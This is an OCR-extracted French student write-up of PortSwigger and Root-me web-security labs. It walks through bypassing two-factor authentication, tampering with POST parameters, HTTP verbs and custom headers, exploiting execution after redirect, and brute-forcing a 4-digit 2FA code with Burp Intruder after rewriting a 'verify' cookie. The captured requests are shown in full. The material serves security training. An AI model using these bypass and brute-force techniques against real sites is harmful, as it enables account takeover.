TP Cyber
2FA BYPASS 1

Lab: 2FA simple bypass

APPRENTICE
25 LAB Not solved

<

This lab's two-factor authentication can be bypassed. You have already obtained a valid username
and password, but do not have access to the user's 2FA verification code. To solve the lab, access

Carlos's account page.

« Your credentials: wiener:peter

« Victim's credentials carlos:montoya

A\ ACCESS THELAB

On se login avec nos informations soit :

« login : wiener
« password : peter

On nous demande un code regu par email, on clique donc sur le bouton client email qui nous

amene sur le client web d'email du site.

Your email address is wiener@exploit-0ab800e40415cb1c81db1128019b00a3.exploit-server.net

Displaying all emails @exploit-0ab800e40415¢cb1c81db1128019b00a3.exploit-server.net and all subdomains

Sent To From Subject

no-
wiener@exploit-0ab800e404 .
2025-03-26 15¢b1c81db1128019b00a3.e reply@0a1b00e0043fcbdb811a  Security

10:13:04 +0000 _ 12b4009d00a5.web-security- code
xploit-server.net
academy.net

Body

Hello!

Your security cod
e is 1765.

Please enter this
in the app to con
tinue.

Thanks,
Support team

View
raw




On rentre le code 2FA et on est sur une page pour mettre a jour notre email :

My Account
Your username is: wiener

Your email is: wiener@exploit-0ab800e40415cb1c81db1128019b00a3.exploit-server.net

Emai

Update email

Premiere tentative

On fait la meme chose avec les identifiants de la victime :

« login: carlos
» password :montoya

On nous redemande un code envoyé par mail.

Web Security 2FA simple bypass

Academm m Back to lab description

Please enter your 4-digit security code

D'ici on clique sur back to home lab pour retourner la page principal.
Le site de vérifie pas que le code 2FA a bien été saisie. On peu donc retourner sur I'onglets my



account en cliquant sur I'nyperlien ci dessous:

Home | My account

WE LIKE TO T

BLOG —~

Et nous voila connecté au compte de la victime sans avoir a validé le code 2FA :

Home | My account | Log out

My Account
Your username is: carlos

Your email is: carlos@carlos-montoya.net

Email

Update email

Root-me HTTP-POST



HTTP - POST

s

Auteur Niveau Validations Note
[ |

14% *hkkk 1553 votes

Enonceé

Trouvez un moyen de battre le score maximum.

Le challenge nous améne sur ce site :

& HTTP Basics ¥+ v

< C A Notsecure challengeOl.root-me.org/web-serveur/ch56/

RandGame
Human vs. Machine

Here is my new game. It's not totally finished but I'm sure nobody can beat me! ;)

* Rules: click on the button to hope to generate a great score
* Scoret 999999

Hoo tooooo sad, you lost. Your score: 120666! I'm always the best :

Give a try!|

On peut retenter autant de fois que I'on veux il semble impossible de battre la machine.



On va donc tricher grace a Burpsuite :

4] Burp Suite Co
Bup Project Intruder Repeater View Help

37147 (Early Adopler) - Temporary Project. =mx

Dashboard ~ Targst  Proxy  Intuder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam {8} Settings
Tasks  New scan ® & &  Time tolevel up? Gatch more bugs with Burp Suite Pro X
V7 Fiter ~ I Il < 1. Live passive crawl from Proxy (all traffic) (OR:N6]

1. Live passive crawl from Proxy (all traffic) () : _ Summary

Add links. Add item itself, same domain and URLs in suite

scope. [ Htems added to site map View site map 9 Task configuration View confiquration
- PN
Host Method URL Statusc.. MIMEtype Task type: Live et crarad
challenge01root-.. GET  /web-serveur/ch56/ 200 HTML Scope: Proxy (all traffic)
c“a”e"gfm"rm:" gg C‘f’"p'““’/s"’"sjmdev m E':\SAL Configuration:  Addlinks. Add item itself, same domain and URLs in suite scope.
i o0t-me.org ckend&lang=tr Capluring o©
ne.org ckend-brevesélang
/root-me.org ckend-forumslang
ne.org ckend-challengesé| 3 Oy
1100t me.org ckend-solutions&la. © U
ne.org ckend-ctfalltheday ) . )
wwwroot-me.org ckend-cti&lang=ir Siiamapitenasddec
wawrootmeorg  GET  /squelelteslossinomalizecss 200 css Responses processed: 210
wawrootmeorg  GET  /squelettes/ossioundation.css 200 css Responses queued: 0
wwwroot-meorg  GET 200 css ;
wawrootmeorg  GET  /squelettesicssiform.css 200 css
wamroot-meorg  GET Y 200 css
wawrootmeorg  GET  /squelettes/css/skinslight/skin... 200 css
ne.org Isquelettes/img/rblack.ico?144
troot-me.org Isquelettes/img/rblackGrands3. @ Tasklog
ne.org squelettes/imgrblackGrand
troot-me.org ang=tr > Adding response hitp t-me.orgiweb tosite map
ot-me.org fenfbreve/Publishing-solutions-. >i$mg response:::u ot me.org/eb S
Crmtmen @ - o00 &= > Adding response hitp 1001 mo orglneh 0 site map
wwwrootmeorg  GET  /plugins-distiporte_plumelcss/... 200 css :ig:g :;g:::{:: root-me.org/wel fostle mee
org
wwwrootmeorg  GET hyn-oss_b... 200 css > Adding response hitp: ro0t-me.orgiweb- to site map
wwwroot-meorg  GET /o _ . 200 ©ss > Adding response htp: t giweb- to site map
WWW.FOOt: g GET I 4.00.. 200 css > Adding response http:/ root-me-org/web- to site map
wawrootmeorg  GET W30.20c... 200 css > Adding response hitp:/ ge01.100l-me.org/web to site map
wawrootmeorg  GET  /p 0.0/libleal... 200 css Adding response hitp:/challenge01.root-me.org/favi
Eventlog  Allissues @ Memory: 139.5MB

On arrive sur une page comme ci dessus et va aller dans I'onglet proxy pour intercepter les
requétes qu'on envoie. On arrive sur cette page :

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

Intercept HTTP history WebSockets history Match and replace {G}) Proxy settings
@ Intercept off Forward Drop
Time Type Direction Method URL

Intercept is off

If you turn Intercept on, messages between Burp's browser and your target servers are held here. This
enables you to analyze and modify these messages, before you forward them.

Learn more Open browser

On clique sur open browser et on rentre I'adresse du challenge : http://challenge01.root-
me.org/web-serveur/ch56/

On active l'interception des paquets sortant en cliquant sur le bouton intercept eton clique
sur give it a try sur le site du challenge pour envoyer un paquet.


http://challenge01.root-me.org/web-serveur/ch56/
http://challenge01.root-me.org/web-serveur/ch56/
http://challenge01.root-me.org/web-serveur/ch56/
http://challenge01.root-me.org/web-serveur/ch56/

11:56:22 26 M... HTTP 5 Request POST httpi//challenge01 root-me.org/web-serveur/ch56/

Request
Pretty Raw Hex

POST /web-serveur/ch56/ HTTP/1.1

Host: challenge0l root-me.org

Content-Length: 35

Cache-Control: max-age=0

Accept-Language: en-US,en,;g=0.9

Origin: http://challenge0l.root-me.org

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11, Linux x86_64) AppleWebKit,/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng, */*;q=0.8, application/signe«
11 Referer: http://challenge0l. root-me.org/web-serveur/ch56/

17 Accept-Encoding: gzip, deflate, br

13 Connection: keep-alive

14

15 score=82Z5408&generate=Give+a+try%zl

W o O e WD

=
(=]

On intercepte bien un paquet avec le score que I'on va envoyer au server : 825408.
On change le score en une valeur supérieur a 999999 pour gagner face a la machine et on
clique sur forward pour transmettre le paquet modifié:

@ Intercept on - Forward | ~ Drop w

ime Type Direction Method LRL
1:58:50 26 M... HTTP = Reguest GET https://www.root-me.org/?page=externe_header

Et voila on a réussi le challenge :

RandGame
Human vs. Machine

Here is my new game. It's not totally finished but I'm sure nobody can beat me! ;)
» HRules: click on the button to hope to generate a great score
= Score to beat: 999999

Wow, 1000000! How did you do that? o

Flag to validate the challenge:

Root-me Burpsuite Verb tampering



HTTP - Verb tampering

.

Niveau @ Validations Note @
[ |

*dkehrhr 1440 votes

Enoncé

Contourner la sécurité mise en place.

On démarre le challenge et on tombe sur cette page :

Q root-me.org (O]
jub Bl Yparéo
& http://challenge01.root-me.org

This site is asking you to sign in.

Username

Passwaord

On lance Burpsuite et on intercepte le paquets sortant quand on tente de de se connecter:

Request
Pretty Raw Hex

1 GET /web-serveur/ch8/ HTTE/1 1

2 Host: challenge0l.root-me.org

Cache-Control: max-age=0

Autherization: Basic Og==

Accept-Language: en-US en;g=0.8

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5. 0 (X11;, Linux x86_854) AppleWebKit/537 .38 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.38
Accept: text/html application/xhtml+xml,application/xml;g=0 9 image/avif,image/webp,image/apng,*/*;g=0 8, application/signed-exchange;v=b3;q=0. 7
Accept-Encoding: gzip, deflate, br

10 Comnection: keep-alive

11

1z

RN T RNy

w

On peu en déduire que la méthode GET est utilisé pour se connecter, mais a part cela pas
grand chose...



On va tenter de remplacer la méthode GET par d'autre méthodes de requéte soit :

POST, HEAD, PUT, DELETE, OPTIONS, TRACE, et PATCH
On va utiliser I'onglet intruder de Burpsuite et copier la requéte vu juste avant avec une
petite difference:

Target | httpr//challenge01 root-me.org/web-serveur/chs Update Host header to match target

Pasitions. Add § Clear § Auto §

1 §GET§ /web-serveur/ch&/ HITP/1.1

2 Host: challengeOl.root-me.org

3 Accept-Language: en-US en;g=0.9

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537. 36 (KHIML, like Gecko) Chrome/134.0.0.0 Safari/537 36
5 Accept: text/html,application/xhtml+xml, application/xml;q=0 8,image/avif, image/webp image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0 7
7 Accept-Encoding: gzip, deflate, br

= Connection: keep-alive

9

1o

11

On entoure GET par des § pour indiquer le position pour changer de méthode.

On clique sur I'onglet payloads a droite et on entre toutes les méthodes listé ci-dessus:

Payloads m) & x S
Payload position: | All payload positions ép
Payload type: Simple list r g

w

Payload count: &

Request count: 8

(o

Payload configuration ~ -
D
This payload type lets you configure a simple list of strings that are used as payloads. §
o
]
Paste | POST |
Load HEAD _g
oad... GET
Remove PUT
DELETE 5
Clear OPTIONS
Deduplicate TRACE gﬁ
PATCH =
@
Add Enter a new item
Add from list... [Pro version only] v

On peut ensuite cliquer sur start attack pour lancer les requétes modifié avec les autres
méthodes :



<) 6. Intruder attack of http://challenge01.root-me.org/web-serveur/ch8

Results Positions

7 Capture filter: Capturing all items

% View filter: Showing all items

Request Payload Status code Response received Length
[0 401 37 854

1 POST 401 32 854

2 HEAD 200 43 138

3 GET 401 53 854

4 PUT 200 41 339

5 DELETE 200 75 339

6 OPTIONS 200 45 339

7 TRACE 405 77 72

8 PATCH 200 36 339

Request Response

Pretty Raw Hex

W@ G e W R

GET /web-serveur/ch8/ HTTP/1.1
Host: challenge0l root-me.org
Accept-Language: en-US,en;g=0.9
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_54) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/s37.36
Accept: text/himl, application/xhtml+xml, application/xml; g=0.9,image/avif,image/webp, image/apng, */*;q=0.8, application/signed-exchange; v=b3,;q=0.7

Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 2

On a une réponse a chaque requéte. Pour les voir on va dans l'onglet response 6. Intruder
attack of http://challenge01.root-me.org/web-serveur/ch8 :

On regarde pour la méthode de base avec GET:

o NS AT RS T I K R

—
(=)

,_
[

L2

On trouve rien d'intéressant, car on n'as pas l'autorisation d'effectuer une requéte via GET.

HTTE/1.1 401 Unauthorized

Server: nginx

Date: Wed, 26 Mar 2025 11:34:55 GMT
Content-Type: text/html,; charset=UTF-8
Connection: keep-alive

WwWwW-Authenticate: Easic realm="My Realm”
Content-Length: 646

<html xmlns="http://www.w3. org/1999/xhtml™>
<head>
<title>
401 Authorization Required
</title>
</heads>
<body>

<link rel='stylesheet' property="stylesheet"' id="s' type="text/css' href="/template/s css' media="all" />

<iframe id="iframe' sre="https://www.root-me.org/ page=externe_header'>
</iframe>
<hl>
Authorization Required
</hl>
<p>
This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials reguired.
</p>
<hr />
<address>
Apache Server at challenge0l.root-me.org Fort 80
</address>

</body>
</html>


http://challenge01.root-me.org/web-serveur/ch8
http://challenge01.root-me.org/web-serveur/ch8
http://challenge01.root-me.org/web-serveur/ch8

On regarde sur les autres et on trouve quelque chose d'intéressant pour PUT et PATCH :
Reqguest Hesponse

Pretty Raw Hex Render

HTTF/1.1 200 0K

Server:. nginx

Date: Wed, 26 Mar 2025 11:34:56 GMT
Content-Type: text/html; charset=UTF-8§
Connection: keep-alive]

Vary. Accept-Encoding

Content-Length: 160

<|DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN":=>
<html =

<head:
1z </head>

|t I R R % Y OO S R % I

e

14  <hl>
Mot de passe / password
15  </hl>
15 </body>
</html=>
17

Voila le Flag du challenge !

HTTP Redirection invalide

HTTP - Redirection invalide

-

Auteur Niveau ® Validations

., 26 novemnbre 2014 .

Enoncé

Obtenez I'accés a la page index.




On arrive donc sur cette page :

< C A Notsecure challengeO1.root-me.org/web-serveur/ch32/login.php?redirect

You must be authenticated in order to access this page |
Login :| |

R
Pc;a&u"\.l J | |

Login

On change I'URL pour avoir le page index soit:
http://challenge01.root-me.org/web-serveur/ch32/index.php
Mais pas de page index en vu, on est redirigé la page de login.

On lance Burrpsuite et on active l'interception pour intercepter la requéte:

Request
Pretty Raw Hex

1 GET /web-serveur/ch32/index.php HTTP/1.1
2 Host: challenge0l root-me.org
3 Accept-Language: en-US en;g=0.9
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,K like Gecko) Chrome/134.0.0.0 Safari/537.36
5§ Sec-Purpose: prefetch;prerender
7 Purpose: prefetch

& Accept: text/html,application/xhtml+xml,application/xml;g=0.8,image/avif image/webp,image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.7
o Accept-Encoding: gzip, deflate, br

10 Connection: keep-alive

11

12 |

Rien de bien intéressant.
On clique sur forward et on inspecte les autres requétes mais la encore rien d'intéressant.

On inspecte donc les réponses a nos requétes dans l'onglet HTTP History :

1 hupfichallengeOtootmeorg  GET  fwebserveurichd2floginphpZrediiect v 667 HTML php 212.129.36.224 14290626 M. 8080 40
2 hitps//wwwrootme.org GET  [7page-exteme_header v 200 8140 HTML [Root Me : plateforme d'ap. v 2121292816 14290626 M. 8080 34
21 https:/www.root-me.org GET /IMG/logo/siteon0.svg?1637496509 v 200 7782 XML svg v 2121292816 14:29.07 26 M... 8080 52
23 hitpiichallengeOisootmeorg  GET  /faviconico 404 316 HTML ico 404 Not Found 212.129.38.224 14:290726M... 8080 36
24 hitp/fchallengelirootmeorg  GET /web-serveur/ch32index.php 302 738 HTML php 212.129.38.204 14331226 M... 8080 57

% p tmeorg _ GET __webserveurioha/loginphp?rediiect 20 667 FTML php 212.129.36.224 4331226 M..._8080 5
26 hitps//wwwrootme.org GET  [7page-extere_header v 200 8139 HTML [Root Me : plateforme d'ap. v 2121292816 14331226 M... 8080 s
27 http//challenge01.root-me.org GET /web-serveur/ch32/index php 302 738 HTML php 21212938224 14335126 M... 8080 36
28 hitpiichallenge0tsootmeorg  GET  /web-serveur/ch32index.php 302 738 HTML php 212:129.38.224 14341826 M. 8080 51
29 http//challenge01.root-me.org GET /web-serveur/ch32/login.php?redirect v 200 687 HTML php 21212938224 14:35:46 26 M... 8080 40
30 hitps//wwwroot-me.org GET  [7page=exteme_header v 200 8140 HTML [Root Me : plateforme d'ap. v 2121292816 14355726 M... 8080 39
49 hitpsi/wwwroot-me.org GET  /IMGllogolsiteon0.svg?1 637496509 v 200 7782 XML g v 2121202816 14360026 M... 8080 31

Et sur la réponse de notre requéte pour la page index on a le code source html de la page
index:


http://challenge01.root-me.org/web-serveur/ch32/index.php
http://challenge01.root-me.org/web-serveur/ch32/index.php
http://challenge01.root-me.org/web-serveur/ch32/index.php

Response

I
=
]
I

Pretty Raw Hex Render =

1 HITP/1.1 302 Found

o Server: nginx

5z Date: Wed, 26 Mar 2025 13:35:46 GMT

4 Content-Type: text/html; charset=UTF-§
5 Connection: keep-alive

g Location: ./login.phpTredirect

7 Content-Length: 547

&

=]

o

<html>
<body>
<link rel="stylesheet' property='stylesheet' id="s' type='text/css' href='
/template/s.css' media="all' />
<1frame id="iframe® src="https://www. root-me. org/Tpage=externe_header'>
</1frame>
11 <hl>»
Welcome !
</hl>

1

1z
13 <p=
Yeah | The redirection is 0K, but without exit() after the header('Location: ..."),
PHP Jjust continue the execution and send the page content !...
</p>
14 <p>
<a href="http: //cwe mitre org/data/definitions /698 html">
CWE-698: Execution After Redirect (EAR)
</a>
</p>
15 <p>|
The flag is
16 </p>
17 </body>
18 </html>
15

Et voila notre flag !

HTTP Headers

HTTP - Headers

=

Auteur Niveau ® Validations Note ®
. 11 janvier 2015 B 16% * ki

Enoncé

Obtenez I'accés administrateur a la page.




On arrive sur cette page :

€« C A Notsecure challengeO1.root-me.org/web-serveur/chS/ b4 53 A @

rs
publier des solutions sur internet est interdit

Content is not the only part of an HTTP response!

Avec Burpsuite, on regarde dans I'onglet history pour voir la réponse du site:

Response
Pretty Raw Hex Render i

1 HTTP/1.1 200 OK

o Server: nginx

z Date: Wed, 26 Mar 2025 14:50:32 GMT

4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive

£ gl oo ent_Encodins
¥
8
9
0
1

[Header—RuutMe—Admin: none ]
Content-Length: 272

<html>

<body»<link rel="stylesheet' property="stylesheet' 1d="s' type='text/css' href='
Stemplate/s. css" media="all' f»<iframe id='iframe' src='

https: //www.root-me. org/"page=externe_header'></iframe>

17 <p>Content is not the only part of an HITF response!</p>

13 </body>

14 </html>

On a une petite ligne suspect encadré en rouge.

On active l'interception et pour modifier notre requéte et rajouter la ligne:

Request
Pretty Raw Hex w n

1 GET /web-serveur/chS5/ HITPF/1.1
2 Host: challengell. root-me.org
3 Cache-Control: max-age=0
_ : _ a-0 g
5 Header-RootMe-Admin: true
5 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (X11, Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/134.0.0.0 Safari/537.36
5 Accept:
text/html, application/xhtml+xml, application/xml;g=0.5% image/avif, image/webp,1image/apng, =/
;g=0. 8, application/signed-exchange;v=b3,;q=0.7
g Accept-Encoding: gzip, deflate, br
10 Cookie: _ga=GAl. 1 416986082.1742598091; _ga SRYSKX09J7=
G51.1.1742998091.1.0.1742998188.0.0.0

12



On appui sur le bouton forward et on obtient la response suivante :
-
Response
Pretty Raw Hex Render =y \n

1 HTTF/1.1 200 OK
7 Server: nginx

7 Date: Wed, 26 Mar 2025 14:59:52 GMT

4 Content-Type: text/html,; charset=UTF-8
5 Connection: keep-aliwve

5 Vary: Accept-Encoding

7 Header-RootMe-Admin: none

% Content-Length: 360

2
0
1

<html>
<body>
<link rel='stylesheet' property='stylesheet"' id="s"' type='"text/css' href="'
ftemplate/s css' media="all' /=
<iframe id='iframe' src="https://www.root-me.org/ page=externe_header'>
</iframes>
1z <p>
Content i1s not the only part of an HTTP response!
</p>
1z <p>
You dit 1t ! You can validate the challenge with the password HeadersMayBeUseful
14 </p>
</body>
15 </html>
18

Et voila notre flag !

Burp suite Bypass 2

Lab: 2FA broken logic

PRACTITIONER e
/N LAB Not solved
This lab's two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access

Carlos's account page.

* Your credentials: wiener:peter
« Victim's username: carlos

You also have access to the emall server to receive your 2FA verification code.

A Hint

[\ ACCESS THE LAB



On arrive sur cette page :

Web Security 2FA broken logic )
Academy € | m Back to lab description

Home | My account

WE LIKE TO — o

BLOG —

On clique sur My account eton se connecte avec les logs :
» wiener:peter
Username
wiener

Password
...l.{

On renseigne le code 2FA regu et nous somme connecter:

WEb Security 2FA broken logic :
Academy E m Back fo lab description

Home | My account | Log out

My Account

Your username is: wiener

Your email is: wiener@exploit-0ab000b004ac499a813f88aa01ba00fa.exploit-server.net

Email

Update email



On inspect les requétes envoyer depuis le debut et on obtient :
GET /flogin HTTF/Z2
Host: 0a760022048a456d818e85db002c00cd. web-security-academy. net
Cookie: wverify=wiener; session=IyTUKLCuHuvatkPolgY3w4S5xANZscXtY
Accept-Language: en-US,en,g=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11, Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
7 Accept:
text/html, application/xhtml+xml application/xml;g=0.9, 6 image/avif, imag
e/webp,image/apng, */*,q=0. 8, applicaticn/sighed-exchange;v=b3,g=0.7
% Sec-Fetch-S5ite: same-origin
5 Sec-Fetch-Mode: navigate
0 Sec-Fetch-User: 71
11 Sec-Fetch-Dest: document
17 Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium",v="134"
12 Sec-Ch-Ua-Mobile: 70
14 Sec-Ch-Ua-Platform: "Linux"
15 Referer:
https://0a760022048a4596d818e859db002c00cd. web-security-acadeny. net/log
inZ
15 Accept-Encoding: gzip, deflate, br
17 Priority: u=0, 1

¥ [T O U I e

On peut voir que le site determine notre compte avec l'attribut verify .

On envoie la requéte suivante au repeater de Burp Suite pour inspecter la réponse plus

facilement :

GET /login2 HTTE/Z

Host: 0a760022048a496d818e85db002c00cd. web-securi ty-academy . net

Cookie: wverify=carlos,; session=lzzsMRE1(krJod44ztpE03jvtkFTaMvlP

Cache-Control . max-age=0

Accept-Language: en-US en;g=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5. 0 (X11;, Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/134.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml,; g=0.9,image/avif image/webp,image/apng, */*
;q=0.8, application/signed-exchange;v=b3,gq=0.7

Sec-Fetch-5ite: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Sec-Ch-Ua: "MNot:A-Brand",;v="24", "Chromium";wv="134"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-FPlatform: "Linux"

Referer: https://0a7600220482456d818e85db002c00cd. web-securi ty-academy . net,/login
Accept-Encoding: gzip, deflate, br

Priority: u=0, 1

On change l'attribut verify en carlos pour envoyer un code 2FA sur le compte de carlos.

Ensuite on prend la requétes POST /login2, soit la page avec le champs pour le code 2FA a
rentrer, pour I'envoyer vers l'intruder de Burp Suite:



POST /login2 HITE/2

Host: 0a760022048a456d818e89db002c00cd. web-security-academy. net

Cookie: verify=carlos; session=GCbEccoBP4fZU0EFk1W4jeQOKPASQSRI

Content-Length: 13

Cache-Control: max-age=0

Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Flatform: "Linux"

Accept-Language: en-UZ,en;g=0.9

Origin: https://0a760022048a456d818e89db002c00cd. web-security-acadeny. net
Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5. 0 (X¥11, Linux x86_64) AppleWebKit/537.36 (KHIML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml, application/xnl;g=0.9 image/avif,inage/webp,image/apng, */*,q=0 8, application/signed-exchange,v=b3,g=0.7
Sec-Fetch-5ite: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: https.//0a760022048a496d818e80db002c00cd. web-security-acadeny. net/login2
Accept-Encoding: gzip, deflate, br

Priority: u=0, i

nfa-code=§f

On rechange verify en Carlos et on rajoute une position de payload grace a deux § pour le
code 2FA que I'on va brute force.

Dans I'onglet payload a droite on rentre les paramétres:

Payloads m ) & X
Payload position: | All payload positions
Payload type: Mumbers W

Payload count: 10,000
Request count: 10,000

Payload configuration ~

This payload type generates numeric payloads within a given range and in a specified format.

Mumber range

Type: Sequential (® Random
From: 0

To: 9999

Step:

How many: 10000

Mumber format

Base: ® Decimal Hex

Min integer digits: 4
Max integer digits: 4
Min fraction digits: | 0

0

Max fraction digits:

Le format du payload est comme ceci XXXX, X etant un chiffre de 0 a 9.
Le type de payload est donc Numbers.

Le type peu importe (j'ai choisi Random)

From c'est le nombre minimum possible soit 0 (0000)

To c'est le nombre maximum possible soit 9999



On est en base decimal.
Min et Max integer digits c'est le nombre de chiffre minimum et maximum soit 4 (0000)

Min et Max fraction digits c'est le nombre de chiffre apres la virgule a afficher donc 0
(aucun)

Ensuite on se dirige vers l'onglet Settings pour activer |'auto-pause quand on trouve le bon
code :

(3) Auto-pause attack

I-O Use this setting to automatically pause the attack when a specified expression appears or is missing in a
response.

Enable auto-pause

Options: Pause if an expression in the list appears in a response

(®) Pause if an expression in the list is missing from a response

Paste Incorrect security code
Load...
Remove

Clear

Add Enter a new item

On rajoute donc une ligne qui est uniquement sur la page que I'on test et active la deuxieme
option pour mettre pause que quand cette expression n'est pas dans la page.

Incorrect security code

On peut cliquer sur start attack etensuite on attend le fin ou la pause de l'attaque:

Request Payload Status code Response received Error Timeout Length Comment
332 2530 200 100 3188
333 1409 200 58 3188
334 4843 200 59 3188
3% 2302 200 56 3188
336 9382 200 o7 3188
337 9170 200 @ 3188
338 6194 200 7 3188
339 3150 200 55 3188
340 7757 200 53 3188
341 9913 200 56 3188
342 9873 200 57 3188
343 7276 200 90 3188
344 8243 200 52 3188
35 3057 200 67 3188
346 6470 200 55 3188
347 2771 200 ) 3188
348 6510 200 57 3188
200 o7 3188
200 60 3188
200 58 3188
200 56 3188
200 51 3188 ]

®aB@ n =

<hea “notification-header”>
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oter-wrapper”>

</body>
</htnl>



Et on obtient avec le bon code 2FA une reponse avec une page que l'on peut charger dans le
navigateur.



